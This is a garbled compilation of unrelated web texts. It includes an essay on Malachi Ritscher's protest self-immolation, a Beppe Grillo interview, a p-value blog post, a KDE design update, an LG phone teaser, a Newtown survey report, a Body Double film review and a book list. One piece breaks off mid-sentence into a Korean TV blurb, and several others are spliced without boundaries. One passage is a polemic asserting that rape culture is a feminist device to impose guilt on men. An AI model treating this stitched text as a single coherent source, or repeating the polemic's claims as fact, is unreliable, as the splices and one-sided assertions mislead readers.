Malachi Ritscher is one of fewer than 10 people in American history to have done this. And as of 2006, it's hard to imagine how an American could successfully use self-immolation as a form of protest. You can't tell anyone about it: Most people would try to dissuade you, or even have you committed for your own protection. It's something you'll inevitably do alone; it's something that major media will not widely report; and it's something most people will conclude was the work of a very ill person.
Back, then, to the question everyone's asking, the question you probably already have strong opinions on: Was Malachi Ritscher a political martyr or a mentally troubled suicide? Let me tip my editorial hand and claim something: The argument is a distraction, and it's the wrong question to ask. It assumes too much. It assumes that the two things are mutually exclusive, or binaries, and that they can't be jumbled intractably in someone's thinking. It assumes that there's a clear, distinct line between rational politics and personal emotions. And it assumes that a troubled person can't legitimately mean what he says, even if his way of expressing it is tragic.
But if there's anything we can learn from Malachi Ritscher, it's that none of these things are that simple. On the one hand-- whether or not he suffered from mental illness, as his son has claimed in the comments box beneath Peter Margasak's Chicago Reader blog post, the first reporting done on Ritscher's death-- it's easy to conclude that he was an isolated person, with a life full of hobbies and passions but not much else. (Forgive me for saying it, but if any of you reading this spend most of your time alone at computers, blogging and posting to message boards but not always doing the tough, tiring work of going out and forging messy human relationships with the people around you, this is something to remember: Try hard.) At 52 years old, going to shows every night, estranged from his son and grandchildren, and without anyone incredibly close to him, how easy would it have been for Ritscher to decide that there wasn't much in the future he'd really miss if he weren't around?
On the other hand, Ritscher was intensely politically committed, and had been for years, and the texts on his website explain this as a political act. His acquaintances in the music world insist on doing him the credit of taking that seriously. "On the surface, that's what he said and that's what he did," says Zerang. "I'll take that at face value. It's a very potent message. People raise the specter of mental illness, and, well, okay-- but I don't see how that takes away the power of his message.
"In all the years I've known him, I've never perceived him as someone who was mentally ill. That doesn't mean he wasn't, but I never saw it. I look at his action, and these are his reasons, so let's talk about it in those terms."
Rempis' understanding is similar. "I think there was a pretty clear debate happening about whether this was an act of depression or whether it was a political act, and either way it's a pretty difficult thing for his friends and family to deal with. It's really tragic. I saw him in the weeks leading up to this, and I talked to two musicians today in New York who he'd sent correspondence to in the past few weeks-- with CDs of shows they'd recently done out here, and friendly, upbeat letters. I think this is something he'd been considering for a very long time, and more of a political act than an act of depression. He was really trying to express something here, and I think it's spelled out pretty clearly on his website."
It's the reception of the "Mission Statement" on that website that offers some of the strangest cues. One of the few major-media voices that's addressed it is Richard Roeper, in his column for the Chicago Sun-Times: Quoting heavily from Ritscher's note, he describes the text as intelligent but "bitter" and "disturbed." And in at least one spot, it genuinely is: Ritscher talks about having walked past Donald Rumsfeld one day, with "a knife clenched in my hand," and regrets not having assassinated the Secretary of Defense. Leave alone the sad irony of Rumsfeld's resignation a few days after Ritscher's death, or the question of how Rumsfeld's absence would have changed much about the war: This is frightening and morally confused, the same logic that animates people to gun down reproductive health workers.
What's interesting, though, is the rest of it. It's no Unabomber-like rant, or conspiracy tract: For the most part it's thoughtful and relaxed. More importantly, no matter what you think of the views expressed, they're not particularly different from the ones you'll find on any number of leftist, anti-war, third-party, or independent-media websites, blogs, papers, or message boards. Ritscher's feelings about this country and about the war, extreme or not, are ones no small number of people share.
And that's important, because there's no reason to believe that politics and mental health don't have anything to do with each other. A person's depression or hopelessness can be exacerbated by any number of events in his personal life: rejection, loneliness, failure. At the same time, that hopelessness can be exacerbated by his experience of politics: The feeling of being alienated, ignored, or powerless to stop injustice. Whether the source is the people around you or the news on the television, the result is the same: You wind up feeling thwarted, frustrated, and weak. And if enough people feel this way, it makes sense that one of them-- possibly one of them with plenty of other issues in his life-- might take the kind of action Ritscher did. It doesn't make him right, or a martyr. It just makes him a piece of very shocking evidence that some of the people around us feel very hurt and marginalized. Most of them, thankfully, have found-- and will find-- much better ways to deal with it.
"A lot of us feel like he sort of took a karmic hit for us," says Zerang. "Because so many of us were upset with the way these wars are happening and people are dying-- we do what we can in our own ways, but truly there's a lot of frustration about that. And then he did this and it's almost like he took the hit for us. It's been very interesting to see the responses and how the dialogue has emerged around town. In the last week there've been concerts, a lot of good concerts, so the community has been out in force, and just talking. It's just remarkable how many diverging opinions there are about this."
Interpretation of the act might be up in the air, but the one thing just about everyone agrees on is the wish that he hadn't done it. His siblings and parents, proud as they can be of how much he meant to the Chicago music world, or even his final actions, are obviously grieving; his son Malachi, faced with this final estrangement, is obviously hurt. And the musicians around him will certainly feel the loss of someone who'd been a constant presence in their world. The most they can do is try to find something positive in it. "There's nothing I can argue with, apart from the final action he took," says Zerang. "Roeper's last line was something like, 'It's going to be a futile act,' but the jury's out on that, right? Something can come of it, it can resonate with people. And if that happens, it's not a futile act. And the people in the community here in Chicago are talking and looking at things differently-- so right there, it's not a futile act. For better or worse, he changed something."
Just as important, there's everything else he left behind. A few days after his death, a package arrived for Bruno Johnson, owner of the free-jazz label Okka Disk: It contained, as reported by the Reader, "[Ritscher's] will, keys to his home, and instructions about what should be done with his belongings." Among his possessions is one legacy: An archive of the Chicago experimental scene stretching back for two decades. And for the musicians, there's another: The memory and invaluable support of at least one enthusiast who, no matter when they were playing, and no matter how few people showed up, was always there to cheer them on.Francesco Zizola / NOOR for TIME Beppe Grillo
Before sitting down to an interview with TIME, Beppe Grillo, the comedian who has upended Italian politics, stops to give his wife a goodbye kiss. “Ciao,” she tells him. “For goodness sake. Don’t create too much chaos.” When Italy’s elections resulted in a hung Parliament, with no party pulling in enough support to form a government, Grillo came out as the biggest winner. His Five Star Movement fielded a group of political novices on a platform of political renovation and took 8.7 million votes, more than any other party. But while his opponents have scrambled to try to build governing coalitions, Grillo, who didn’t stand for office himself, has refused to bargain with the old guard he considers the root of Italy’s problems. From his house on the Tuscan seashore, Grillo rails against his country’s political parties, marvels about the Internet and jokes about the papacy.
To what do you credit your success?
It’s the Internet. The Internet creates transparency, creates a change of mentality, brings people together. The Pope resigned, partly because of his health, but also because he started tweeting … The sheep wanted to talk with the shepherd. Centuries of tradition crumbled there. He understood it was no longer possible to continue.
You say you want to tear down Italy’s political parties. With what do you want to replace them?
With citizens, informed, honest, transparent citizens, who do their job with passion. Two terms and then they go home. There’s no money and no careers in this movement.
(MORE: Viewpoint: Why Italy’s Election Is a Joke)
What do you like less, the political parties or the media?
The worst is the media. Maybe the regional papers are O.K. But those that shape public opinion, seven television stations and three newspapers, they’re inside the system.
Why don’t you cooperate with the political parties?
They do this display of being against each other, but underneath, they’re the same thing. Left and right in Italy, they’ve always pretended to fight. Now, the agreements they’ve been doing in the shadows for 20 years, they need to do in the light. And if they do it, they’re dead. Politically dead. And so they need to unload their political unhappiness, their political disintegration, on me, saying it’s me that doesn’t create the government, that creates instability. But I can’t discuss with them.
Millions of Italians voted for you so that you would pass laws tackling corruption and the costs of politics, measures the Democratic Party — run by Pier Luigi Bersani, the leader of the center-left who is trying to build a government coalition — is willing to work with you to accomplish. Why not accept their offer?
They talk about the transparency of parties. We talk about dissolution of parties. It’s different. Wellington and Napoleon can’t find a way to cooperate. We’re something different.
The county is divided in two. Those who voted for [the other parties], they’re people who don’t want to change things. Because they have high pensions. With the crisis, the prices are low. Maybe they have two houses, and you take away their housing tax. We have 18 million pensioners, 4 million state employees, that’s 22 million people. Not all of them, but a big part, don’t want change because they’re surviving. The state is their employer.
But the discussion will change, because soon there won’t be public salaries or pensions. No money. The big industry is gone. From computing, mechanical, chemical, there’s nothing left in this country. The small and medium enterprises were holding on, but they’re closing by the thousands. How do we go forward? Finance? The state?
(MORE: Italy’s Elections: Split Vote Yields No Clear Winner and an ‘Unholy Mess’)
What does Italy need to relaunch?
A strong signal. Send them all home: close the parties, take away their money, immediately. An emergency launch of a guaranteed minimum income. Two or three operations, laws against corruption, conflicts of interest, separate the financial firms from the banks.
People here have always voted in exchange for something. You give me a vote. I’ll give you a job. Why did we become the biggest party in Sicily? Not because of me. Because there’s no more money. There are no more votes of exchange. Take the money out of politics, and politics takes another dimension. We need to suck away their money.
Many of your most reported upon proposals — the nationalization of the banks, the referendum on the euro, defaulting on Italian debt — are not in your party’s actual platform. Why not?
We still need to discuss it. And then we’ll write in the program. Give us time. I propose a basic idea. It’s not a political plan. It’s a view of the world. It’s not substituting one political class with another. We want 100% of Parliament, not 20% or 25% or 30%. When the movement gets to 100% when the citizens become the state, the movement will no longer need to exist. The goal is to extinguish ourselves.
Are you surprised that bankers, like Jim O’Neill of Goldman Sachs, have spoken positively about you?
I have to admit, it makes me feel … They’ve understood the winds of change. If there’s no work, if there’s desperation, companies closing, what are banks supposed to do? Keep speculating? There’s nothing to speculate on.
Do you have relations with groups like the indignados protest movement in Spain?
I went to meet the indignados. The two things were identical: get rid of the parties, put citizens in, limits of two terms, get the corrupted out of Parliament. But they were just in piazza. We went into the piazza too, but we gathered 350,000 signatures. We got in line with a table and our identity cards and gathered signatures. You guys stopped with piazzas, and then fought with police, with citizens like you. We’ve surpassed that. It’s not me coming to learn from you. You need to understand that with the Internet, you can do like us.
(MORE: How Berlusconi Upends the Italian Elections)
Are you afraid that if you don’t succeed, the same energy that pushed you up could push up darker forces?
I channel all this rage into this movement of people, who then go and govern. They should be thanking us one by one. If we fail, [Italy] is headed for violence in the streets. But if we crumble, then they come. Everything started in Italy. Fascism was born here. The banks were born here. We invented debt. The mafia, us too. Everything started here. If violence doesn’t start here, it’s because of the movement. If we fail, we’re headed for violence in the street. Half the population can’t take it anymore.
Do you think Italy should leave the euro?
I’ve never said I want to be in or out of the euro. I said I want correct information. I want a Plan B for survival for the next 10 years. And then, with a referendum we decide. The costs and benefits, let’s know what are they are. But first you need to inform.
If you just hint that you want to leave the euro, you’re crazy. There’s no dialogue. Just hint, and you’re a demagogue, you’re crazy, you want to drag Italy to default, you’re irresponsible. Just because you say, let’s think about this, what would really happen?
Did you learn anything about the use of the Internet from Barack Obama?
Obama, if he’s able to do 5% of what he says, is great. But he’s also imprisoned in a system. The art of the compromise, which was the art of politics, is no longer valid. Compromise needs to be between citizens, not between Republicans and Democrats.
From the Americans, I took the meet-up platform, from Howard Dean. He used it to gather money. I use it to gather information, to gather forums, not money. This we copied from the United States, the use of the Internet.
Many in Italy have accused you of being undemocratic, of making choices without consultation for your newly elected parliamentarians. What gives you the authority to negotiate or not with the Democratic Party?
There’s a rule in our movement. We don’t make agreements with parties. Whoever joined our movement signed on to this. If you enter into a movement like this, it’s a rule you agreed to. There’s nothing to decide. If you go play soccer, do you say you want to score goal with your hand? No, it’s only with your foot. Accept the rules.
What do you see your role being in a year?
In a year, I’ll be doing a global tour. I’ll do shows. And I’ll be the way I am.
Do you still consider yourself a comedian?
An extraordinary one.
MORE: Italy’s Political Mess: Why the Euro Debt Crisis Never EndedIn an otherwise pointless comment thread the other day, Dan Lakeland contributed the following gem:
A p-value is the probability of seeing data as extreme or more extreme than the result, under the assumption that the result was produced by a specific random number generator (called the null hypothesis).
I could care less about p-values but I really really like the identification of a null hypothesis with a random number generator. That’s exactly the point.
The only thing missing is to specify that “as extreme or more extreme” is defined in terms of a test statistic which itself needs to be defined for every possible outcome of the random number generator. For more on this last point, see section 1.2 of the forking paths paper:
The statistical framework of this paper is frequentist: we consider the statistical properties of hypothesis tests under hypothetical replications of the data. Consider the following testing procedures: 1. Simple classical test based on a unique test statistic, T, which when applied to the observed data yields T(y). 2. Classical test pre-chosen from a set of possible tests: thus, T(y;φ), with preregistered φ. For example, φ might correspond to choices of control variables in a regression, transformations, and data coding and excluding rules, as well as the decision of which main effect or interaction to focus on. 3. Researcher degrees of freedom without fishing: computing a single test based on the data, but in an environment where a different test would have been performed given different data; thus T(y;φ(y)), where the function φ(·) is observed in the observed case. 4. “Fishing”: computing T(y;φj) for j = 1,…,J: that is, performing J tests and then reporting the best result given the data, thus T(y; φbest(y)). Our claim is that researchers are doing #3, but the confusion is that, when we say this, researchers think we’re accusing them of doing #4. To put it another way, researchers assert that they are not doing #4 and the implication is that they are doing #2. In the present paper we focus on possibility #3, arguing that, even without explicit fishing, a study can have a huge number of researcher degrees of freedom, following what de Groot (1956) refers to as “trying and selecting” of associations.... It might seem unfair that we are criticizing published papers based on a claim about what they would have done had the data been different. But this is the (somewhat paradoxical) nature of frequentist reasoning: if you accept the concept of the p-value, you have to respect the legitimacy of modeling what would have been done under alternative data....
Summary
These are the three counterintuitive aspects of the p-value, the three things that students and researchers often don’t understand:
– The null hypothesis is not a scientific model. Rather, it is, as Lakeland writes, “a specific random number generator.”
– The p-value is not the probability that the null hypothesis is true. Rather, it is the probability of seeing a test statistic as large or larger than was observed, conditional on the data coming from this specific random number generator.
– The |
hobby. They waited endlessly while watching their fishing rods. In case the fish weren't biting, Soeun made a daring, tempting bait for the fish. Can the two of them succeed in catching a fish?The two became sick of waiting. With their last ounce of willpower, they cast out the fishing lure. Soeun realized something was caught on the end of the lure! It was none other than Jaerim's surprise event he prepared. What will romantic Jaerim's present be?
Part 1 | Part 2 | Part 3 |
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Watch the new couples:
Red Velvet Joy & Yook Sung Jae | Kim So Yeon & Kwak Si Yang
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DisqusWith Halloween settling down and children retreating back to their lairs so they can bathe in their sugary loot, it’s time to post an update, and not just any type of post – but a Spooky Scary Post-Halloween Monster Post!
Wallpapers
Before I get to show-and-tell I wanted to make a quick digression to something we noticed a few months ago after the 5.4 wallpaper was released…
There has always been some pretty harsh criticism against the wallpapers I’ve produced, some of this comes down to being bolder and more vibrant in our designs, and some of it some of it comes down to the fact that my early work was genuinely bad. We listen to comments wherever they come from (even if we don’t specifically reply), be it a forum on a news site, Reddit, or imageboards. Until Plasma 5.3 though the criticism lacked constructiveness and was mostly just mud-slinging. The Plasma 5.4 wallpaper though must have crossed a threshold at some point, because the entire VDG very specifically noticed an uptick in constructive criticism, and a it had a heavy influence on the 5.5 wallpaper.
What this all comes down to and what I really want to say is this; do be critical of our work! But be critical in a constructive way, so we can build on your comments. Calling a wallpaper “dogshit” doesn’t give us much to work with, but pointing out the Dutch Angle of the last wallpaper as being too extreme – that we can work with and improve the next wallpaper. Since we had the feedback, I’ll go over the two main points we’ve heard.
#1: The Brightness / Saturation.
More often worded as “the author must have eaten his crayons before puking on the screen” this was a result of how I initially imitated the 5.1 wallpaper with the Breeze palette, and absolutely failed; so much in fact that I think it may have affected the perceived colours of later wallpapers.
While some people certainly enjoyed the lighter wallpapers the main comment was that the over-saturated wallpapers were too much. Interestingly, wallpapers on Plasma 5 have been trending towards darker tones, below being some swatches I quickly composed of our wallpaper history:
When I started making the wallpapers at 5.2 I had decided to stick with the official Breeze colour palette, which is geared towards icons. This meant that working at the same luminosity Nuno used for the 5.1 wallpaper would oversaturate mine, which is what happened. It’s worth noting that the 5.2 wallpaper was made purely for personal use, and it was only by a fluke that we used it in production. With 5.4 I think we approached the tipping-point of appropriate brightness/saturation, and I think we’re closer to the ‘right’ amount now considering out palette.
#2: The Dutch Angle / Drug Induced Wallpaper
This is a simple fix: stop using intense angles. But! If everything is made flat it becomes visually uninteresting. As a matter of fact none of the KDE wallpapers have been perfectly level, except Nunos original wallpaper which had clear vertical orientation. I think this was just because 5.4 was so extreme, and also because there were no other mounting points a user could visually register.
With the ‘acid trip’ feel of the last wallpaper, I think it was (again) the dutch angle throwing users off a bit along with the fisheye lens of the horizon line. I do worry that such a perception may impact the professionalism of the desktop, so for future wallpapers I may attempt to better avoid this moreso – though this wallpaper does maintain a more organic shape, which I expect may get dinged on that score.
So, what’s in the pipe for 5.5?
I’m very excited to announce we will be shipping 3 wallpapers this upcoming release. The two below continue the evolution seen in previous wallpapers. They are “Event Night” and “Event Day”. Event Night will be the 5.5 default.
Lionel Chauvins’ “Pastel Hills” will also be available, which harkens back to Nunos original design using a lighter pastel palette. I also have the feeling this is the first wallpaper we have distributed made with Blender. I highly recommend checking out his new KDE-look account if you like the smooth jazz that is his wallpaper, hopefully he uploads his other works. 😉
5.5 Wallpaper Contest
Finally, Andreas is continuing his wallpaper contest; the deadline is in roughly 9 days, so if you have a beautiful image you want to submit please jump in and submit your wallpaper!
KDE.org
KDE.org is undergoing a redesign which should one day present a more unified and consistent interface across the myriad of systems we currently use.
The most obvious issues with the current site are twofold; there’s no consistent navigation, and no two systems look alike. Because we have so many systems which are largely incompatible and/or on completely different hardware, we’re taking a unique approach to the new design so we can begin to unify the disparate designs.
We’re building the user-facing elements as a modular set of pieces which can be arbitrarily inserted onto any website, regardless of the technology or hardware they use, as long as they support even the most primitive skinning. These modular pieces are self-contained, and should be fairly easy to insert into existing systems until larger changes can be made.
I’ll have screenshots later (maybe a video) once I finish up a few more modules for feedback. Unfortunately I’ve had exceptionally busy weekends (when I get most of my work done) and haven’t been able to make the progress I had hoped for. I’ll post more on that later.
Fiber Browser
Because I have been swamped with smaller projects I’m temporarily going to put Fiber on hold to nail other things down, as I want to give more time to immediate smaller impacting projects across KDE as a whole, rather than constantly scrambling around several half-finished todos.
The original plan was to have a version which would be “presentable” at Sprints so I could garner interest, but that will be dropped. One thing that has become clear is that other developers will want to work on it regardless of me ‘promoting’ it, so I’m comfortable in the thought that I could assemble a small team later on. Also, the main KDE devs are busy enough anyway.
Next, after (very careful) consideration I may temporarily drop CEF and pick up WebEngine when I seriously resume the project. Fiber is a one-man band, and to say CEF integration has been nothing short of a pain would be an understatement. I feel like the most important aspect of Fiber will be a rich, deep API and modular design – but with so much focus on getting CEF functional it simply sucks the life out of the entire project. Instead, I may shift to a CEF port as a “Fiber 2.0” feature (hopefully when other devs may maintain the APIs), which should help as by then Servo will be more mature and I can test it as the primary renderer.
Unofficially I may still chip away at it – but for now I’m more comfortable saying it’s on pause while I focus on my todo list. I will resume work on it once I’ve bumped off a few smaller things, and hopefully It’ll speed up development a bit by switching to WebEngine for the 1.0 release along with having fewer balls to juggle.
Polish Effort
Before I say anything else, hats off to Hugo for his work. I’m not going to lie: I threw him to the wolves on this one (unintentionally!), and he’s solo’d the real work going into Breeze polish. So, hats off to Hugo for being blazingly awesome!
On the design notes, one thing that became apparent somewhat quickly was the fact that the design I presented began to heavily diverge from the current Breeze design, so much as to be considered a different design entirely. I’m still debating how to handle this, as this is one area where I wanted to free up time so I could more properly contribute.
In terms of stuff getting done, we’ll have some pleasing adjustments to several visual elements such as menus and pixel-tweaks. We’ve also identified several issues such as misalignments in applications, dark-theme colour woes, and inconsistent spacing; I don’t believe we have fixes in for everything, but I’m confident in my ability at throwing Hugo to the wolves. ;P
DWD
There’s not much to report here, but a couple people have been wondering about this. For those not in the know, DWD will be a protocol-driven solution for widgets in the titlebar, similar to the CSD approach that is the Gnome headerbar.
Mainly I’ve been working on the specification, and it’s been pointed out that DWD as a technology will never be suited for insanely weird and creative widgets. To mitigate this I had written some crazy crap about all the special and unique ways a widgets might be customised, and I realised it was pointless to try matching the “creative potential” of CSDs with endless options. I did a thought experiment and swung the other direction;
What if instead of offering primitive widgets with crazy tweaks DWD focused on higher-level but rigid purpose-driven widgets? You don’t request a slider with a volume icon, you request a volume widget and feed it a few channels. Instead of a lineedit you’d just put up a search box… And this approach shaped up surprisingly well.
The general mindset is the idea that CSD eschews system integration in exchange for more radical customisation. DWD on the other hand is about integration though standards – and the initial spec didn’t play to that strength. The main downside to this new spec is the fact that we do sacrifice more creativity in the headerbar, but I looked at it, and in most screenshots of Gnome CSD widgets seem remarkably standardised as well. I’ll be doing a post later which gets into details and pretty pictures but this seems to be the direction to move towards.
That’s all, folks!
Random Sluggerfly!Then from whence cometh rape culture? If the tenets of rape culture do not stand up to serious analysis, then why do so many feminists and people like Zaron Burnett keep propagating it? As I have already argued in a previous post, many feminist doctrines such as privilege and rape culture are mechanisms by which to impose guilt on men. In this way, it is similar to the Catholic doctrine of original sin. If you can make someone feel guilty for something, you can bend that person to your whim if they believe it will absolve their guilt. You may or may not have actually eaten the forbidden fruit, but you still suffer the consequences of Adam and Eve. You may or may not actually be a rapist, but you should think of yourself as one. Just like receiving the Eucharist will keep you in the Pope’s good books, submitting oneself to the feminists will lessen one’s culpability in regards to rape. I can safely say that anyone who tries to make you feel guilty for something you have not done is not looking out for your best interests. Men like Zaron Burnett who willingly accept the guilt that feminists impose upon them are enlisting themselves for a perpetual and thankless servitude as sexually-emaciated peons. Rape culture is male guilt. Seeing as though feminists do not take kindly to men who dare question the existence of rape culture, this purpose should be clear.This year's Mobile World Congress is only a couple of weeks away, and last night LG issued the final invitations for its G5 launch event at the show. Having already set a theme of play and fun, LG has gone all in with a selection of animated GIFs depicting exuberant balloon animals, toy robots, and some peculiar cross between a goldfish and Mr. Potato Head. It marks an interesting approach to marketing a new flagship smartphone, as most companies work hard to make their phones not seem like toys. Maybe LG is taking the "get 'em while they're young" philosophy to its logical extreme.
LG's use of bright and vibrant colors here could be a hint pointing to new display technology — a switch to an OLED screen, perhaps — and the bulbous shapes floating in the background could also be related to Android Marshmallow, the overwhelmingly likely candidate for the G5's operating system. We already know that the G5 will have a unique accessory slot at the bottom, and if these invitations are anything to go by, its first audience might be kids, a demographic that's already accustomed to being rewarded for slotting things into other things. We'll know for sure on February 21st.NEWTOWN, CT - DECEMBER 19: Police tape stretched across the front yard of the Lanza residence on December 19, 2012 in Newtown, Connecticut. Adam Lanza shot his mother Nancy Lanza before he killed 26 others, including 20 children, at Sandy Hook Elementary School.
Some residents of Newtown, Conn. want the Sandy Hook Elementary School shooter's home torn down and the property turned into a park or nature preserve.
The Newtown-Sandy Hook Community Foundation reached out to the community on residents' unmet needs in the wake of the December 2012, received more than 1,600 responses and has released the results.
The foundation has been deciding how to distribute more than $11 million in donations made in response to the shootings that killed 20 first-graders and six educators.
Some survey responses said money should be set aside to tear down gunman Adam Lanza's house in Newtown, where he killed his mother before going to the school.
The survey found that counseling and cash assistance services were among families' top priorities.
You can read the whole report online here.
Copyright Associated Press / NBC ConnecticutWhen rewatching Body Double for the third time, its most striking element was, as on my first viewing, Craig Wasson’s performance. As central character Jake Scully, Wasson turns his conventionally attractive looks into an endlessly fascinating nebbishness and awkwardness. In an early scene, Jake simply walks to his car and jumps in the driver’s seat, yet Wasson manages to turn this casual action into one of the most amusing instances of purposefully bad acting. This unquestionably intended ridiculousness in fact informs an audience of the approach required by the entire film: just as it is difficult to take this ludicrous failed actor and naïve man seriously, Body Double itself is better enjoyed with a grain of salt. Right before Jake goes to his car, he orders a hot dog from a street stand that De Palma shoots from the side before gliding to its front. With this voluptuous tracking shot, he creates a grotesquely sexual visual trick completely at odds with the hopeful tone of Pino Donaggio’s soundtrack and Jake’s cheerful dialogue with the clerk. Body Double isn’t a serious film, but it takes its outrageous fancifulness seriously.
Despite his ridiculous presence, Wasson as Jake is also likable for the endless kindness hidden behind his helplessness. Upon seeing his fiancée having sex with another man in his own bed, he leaves quietly, without even slamming the door. His soft spot and empathy is why he won’t exactly fit the profile of witness for the criminal who set him up as such: just like John Travolta’s Jack in Blow Out, but with even more heart, Jake cares too much. He is certainly repulsive as he plays the peeping tom on his new neighbor, becoming a stereotype of the complete loser: cheated-upon, he turns to easy, degrading pleasures that allow him to stay far from a woman he could never hope to conquer, thus satisfying himself with only an illusion of control. Yet Jake cannot help seeing this woman as more than an object of pleasure: when she seems threatened, he investigates her situation and even comes face-to-face with her, risking his dominant position. Again, Jake’s sensibility matches that of the entire film and its director, as this originally powerless woman, objectified and reduced to her sexiness, progressively becomes the drive of the film’s first act by leading Jake to follow her and, later, admitting she had noticed him all along. Eventually removing her sunglasses, Gloria Revelle (Deborah Shelton) literally reveals the person behind the fantasy and starts talking to Jake, demonstrating a range of emotions and finally, to fully contradict her initial position as sex object, expresses her own impulsive desires.
Jake’s kindness does not entirely explain his ability to confront Gloria and go out of his way in helping her. Will isn’t enough for him to act: in the film’s opening scene, he finds himself physically unable to rise from the coffin in which he lays while playing the vampire in a horror-porn film. Unable to even move, he can act as neither an actor or person. He must come to the realization that acting, as pretending, is necessary to survive in Hollywood and the deceptive world at large. After discovering his girlfriend had played the loving fiancé just too well, Jake is literally told that he’s “gotta act” by a ruthless acting coach who purposely confuses the two meanings of the word in a shock psychoanalysis session. To finally become the master of his life and discover the truth about Gloria, Jake needs to combine his kindness with his acting skills.
De Palma’s screenplay, however, complicates Jake’s progression from inaction to action by doubling up on the idea of the world’s illusory nature. Jake wasn’t only deceived when he was a passive man: he is again duped when he starts convincing himself that he can and deserves to have control — that is, when he begins peeping on who he thinks is Gloria Revelle. Voyeurism is itself only an illusory, imaginative form of control, one to which Jake does not give in easily. As Donaggio’s entrancing yet delicate theme, “Telescope,” begins, Jake hesitantly approaches the device and repeatedly looks around as De Palma’s camera remains on him, stressing Jake’s unease with accepting even this moderate form of agency. Yet the deception goes further as the woman he fantasizes over will turn out to be someone else — and, like him, a trained pretender. Lost in this web of illusions, he will not manage to control Gloria and what happens to her.
In these layers of reality, Jake’s adventure becomes not only dreamlike, but the confusing materialization of his dreams of mastery. The illusory dominance he acquires by watching Gloria dance for him every night become (almost) reality when he meets and kisses her, even though she actually isn’t the dancer. De Palma’s exuberant style comes to perfect use when dream and reality become thus entwined: as soon as Jake and Gloria’s lips meet, the camera starts encircling the couple frenetically, as though struggling to capture this spiral of pure pleasure, while a green screen projection of the beach replaces the real one. The enthralling embrace, camera movement, and soundtrack, together with the background’s falsity being just noticeable enough, make this moment bigger than life, a dream coming true and exceeding all of Jake’s wishes and thus still feeling like a vision. Jake is finally beginning to act as he has always wished to, but experiences this sudden dominance as an overwhelming dream state — and one from which he typically wakes up too soon: he does not have sex with Gloria, and she runs away.
It is only after his failed attempt at saving Gloria in a real-life nightmare of obstacles, impotency, and gore when Jake truly realizes that dreaming isn’t enough, and that he must push his performance further: he will actually pretend to be someone else to discover the truth and fulfill his sexual desires. Authenticity has only led to suffering for Jake and death for Gloria, and, progressively, De Palma’s pessimism regarding society and the value it places on the truth becomes vigorously clear. In an unexpected and exhilarating music sequence where Jake plays a parody of his nebbish self accompanied physically and musically by Frankie Goes to Hollywood, the director presents a need to “fake it ’til you make it” as absolute and inescapable. It is telling of De Palma’s joyful cynicism that this scene, an apotheosis of fakery and eroticism, is probably Body Double‘s most memorable. Although Jake “likes to watch,” in this alternate reality of depravity he gets the girl and the orgasm, and while this sequence turns out to be a scene in a porn production, his sexual pleasure seems unsimulated; even more important is that his performance doesn’t stop at “cut.” He keeps playing the porn actor, all leather jacket and slicked-back hair, which enables him to extract information from his co-star, Holly Body (Melanie Griffith). Jake becomes his own body double to approach Gloria’s and the truth.
Finally, all the dreams of control and nightmares of powerlessness that Jake has had to face come to the verge of realization in Body Double‘s climax. Performance becomes the way out of fantasy and into reality when he again finds himself experiencing paralysis in a grave, this one real. By fully putting his strategy out in the open and letting Jake accomplish himself, De Palma offers complete catharsis for his character and audience: the claustrophobic nightmare becomes a scene in a film, and Jake, taken out of his stupor by his director, understands the necessity to perceive this moment as a “shot” he must “get.” This power fantasy is realized as he returns to the tomb and reenters his reality, no longer behaving as himself but as an “actor,” active and corresponding to whom he wishes to be. Jake, now able to perform, defeats the killer, saving his and Holly’s lives.
As the credits roll, Jake is again seen on set, dressed as a vampire and making sure he does not move while the naked actress’ body double positions herself. Despite his new understanding of the need for falsehood to navigate the world, he is still only good enough to act in a low-budget porn film. This may not be what the man’s dreams are made of, but he is at least working and comfortable in doing so. Regardless of his pessimism, De Palma still allows his ending to be happy — with a touch of grotesque eroticism and humor.
Continue reading our career-spanning retrospective, The Summer of De Palma, below.Five years ago this month saw the publication of Roberto Bolaño’s 2666 in English — which made it one of those rare moments when you could walk into a coffee shop, step onto a bus, or enter a bookstore and find someone raving about or devouring an ambitious novel that topped a thousand pages. Bolaño’s posthumously published book topped almost every year-end list and signaled yet another shift in literary tastes, creating larger audiences for works in translation, historical storylines, and narrative complexity.
The years since the publication of 2666 have been a strange but undeniably excellent time to be a fan of literature. Between the uncertain future of the publishing industry, the rise of indie presses, new literary magazines, and, of course, the Internet and ereaders, I believe we will look back on this bittersweet period for the book industry as a very unique and fruitful time for book lovers. These 50 books provide several clues as to why that is, but also give a glimpse into what the future holds, with a handful of titles written by younger or debut authors. These books aren’t ranked, nor is the inclusion dependent on sales or awards; these are 50 books that show what is great about literature here and now.
Open City, Teju Cole (2012)
It’s hard to believe that Cole only has only published a novella and this novel on the life and times of a Nigerian immigrant student, and not volumes and volumes of his prolific writings for such publications as The New Yorker, Granta, and the New York Times, but a novel this wonderful and fully realized will do (for now).
The Patrick Melrose Novels, Edward St. Aubyn (2012)
Although it collects books from the last 20 years, this recent compilation of St. Aubyn’s unflinching writings on the fall of an upper-class English family has earned a new round of praise from readers who can’t seem to put down these Patrick Melrose tales — and writers who wish they could replicate them.
Wolf Hall, Hilary Mantel (2009)
The first volume in an as yet unfinished triology that taught the world that Hilary Mantel is not only a force of nature, but also one of finest writers of historical fiction in the English language. Let’s count the sequel, Bring Up the Bodies, along with Wolf Hall.
Haruki Murakami,1Q84 (2011)
You never thought that random guy you work with would come up to you and start talking about Japan’s most popular writer, how he really dug that reading all 1000-plus pages of his latest work to be translated into English. Then 1Q84 came out, and suddenly you found out just how many people love Haruki Murakami.
The Hunger Games trilogy, Suzanne Collins
As the film trilogy continues to unfold and spread the influence of Collins’ novels, it’s safe to say that, in a post-Harry Potter world, the dystopian Hunger Games books have redefined YA for teenagers and adults alike.
Wild, Cheryl Strayed (2012)
It has been hard not to get caught up in Cheryl Strayed mania, and specifically the sort of excitement this moving memoir of hiking the Pacific Crest Trail in the wake of her mother’s death has sparked. That it remains on the bestseller list 20 months after its publication and is currently being adapted into a film are testaments to the emotional power and broad appeal of Strayed’s story.
The Ask, Sam Lipsyte (2010)
Sam Lipsyte was (and still is) the sort of writer’s writer who MFA students try to emulate. The Ask, which currently stands as his greatest work, closed out the first decade of the new millennium as one of its best novels. While it’s easier to start with his brilliant short stories, this novel is the book newbies should be pointed to first.
Changing My Mind: Occasional Essays, Zadie Smith (2010)
We talk about Zadie Smith as one of our great novelists, but she deserves equal acclaim for her essays and criticism. This collection is the first to compile her nonfiction, but hopefully it won’t be the last.
Shoplifting From American Apparel, Tao Lin (2009)
